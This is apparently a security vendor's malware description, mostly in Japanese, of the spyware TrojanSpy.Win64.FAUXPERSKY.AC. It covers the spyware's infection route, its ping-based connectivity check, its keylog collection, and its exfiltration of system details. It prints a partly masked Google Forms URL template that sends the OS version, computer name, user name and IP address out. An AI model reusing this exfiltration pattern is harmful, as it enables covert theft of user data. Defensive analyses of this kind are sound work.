TrojanSpy.Win64.FAUXPERSKY.AC

スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

スパイウェアは、特定のWebサイトにアクセスし、情報を送受信します。

侵入方法

スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

スパイウェアは、以下のプロセスを追加します。

• %System%\cmd.exe /c ping -n 1 -w 1000 www.google.com.my>Ping.sb → checks internet connection

他のシステム変更

スパイウェアは、以下のファイルを削除します。

• {Malware File Path}\Log.txt → to clear contents for new data

情報漏えい

スパイウェアは、以下の情報を収集します。

• OS Version
• Computer Name
• User Name
• IP Address
• Content:
  • Keylogging information stored in Log.txt

その他

スパイウェアは、以下のWebサイトにアクセスしてインターネット接続を確認します。

• www.google.com.my

スパイウェアは、以下のWebサイトにアクセスし、情報を送受信します。

• https://{BLOCKED}s.{BLOCKED}e.com/forms/d/e/1FAIpQLSe6oGStKSshScVonAyCVFOrhANSfnmm0Im-aabnBX5ZjLabbA/viewform?entry.930994914=%A_OSVersion%&entry.210885477=%A_ComputerName%&entry.429054695=%A_UserName%&entry.1539630660=%A_IPAddress1%

スパイウェアが自身の不正活動を実行するためには、以下のファイルが必要になります。

• {Malware File Path}\Log.txt → dropped by svhost.exe detected as TrojanSpy.Win64.FAUXPERSKY.AB

スパイウェアは、以下を実行します。

• It reads the contents of Log.txt.
• It checks the contents of Ping.sb if it contains the string "could not find."
  • If found, it repeatedly checks for internet connection.
• It exfiltrates information via Google Forms.